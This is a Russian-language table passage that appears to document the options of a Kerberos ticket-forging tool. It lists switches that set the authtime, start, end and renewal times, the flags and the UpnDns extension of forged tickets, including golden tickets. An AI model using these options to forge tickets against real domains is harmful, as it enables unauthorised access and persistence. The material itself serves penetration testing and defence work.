| /authtime | Устанавливает поле authtime в EncTicketPart. В формате местного времени — автоматически преобразуется в UTC (По умолчанию: сейчас) |
| /starttime | Устанавливает поле starttime в EncTicketPart. В формате местного времени — автоматически преобразуется в UTC (По умолчанию: сейчас) |
| /endtime | Устанавливает поле endtime в EncTicketPart. Относится к starttime, в формате множитель+временной диапазон, например, 5d для 5 дней. Подробнее о формате ниже (По умолчанию: 10h) |
| /renewtill | Устанавливает поле renew-till в EncTicketPart. Относится к starttime, в формате множитель+временной диапазон, например, 5d для 5 дней. Подробнее о формате ниже (По умолчанию: 7d) |
| /rangeend | Для создания нескольких билетов, начинающихся в разное время. Это последнее starttime, относительно /starttime, в формате множитель+временной диапазон, например, 5d для 5 дней. Подробнее о формате ниже |
| /rangeinterval | Для создания нескольких билетов с разным временем начала. Это интервал между каждым starttime, в формате множитель+временной диапазон, например, 5d для 5 дней. Подробнее о формате ниже |
| /flags | Устанавливает флаги билета в EncTicketPart (По умолчанию: forwardable, renewable, pre_authent и для golden также initial) |
| /extendedupndns | Включает новый расширенный UpnDns (который включает samaccountname и SID учетной записи) |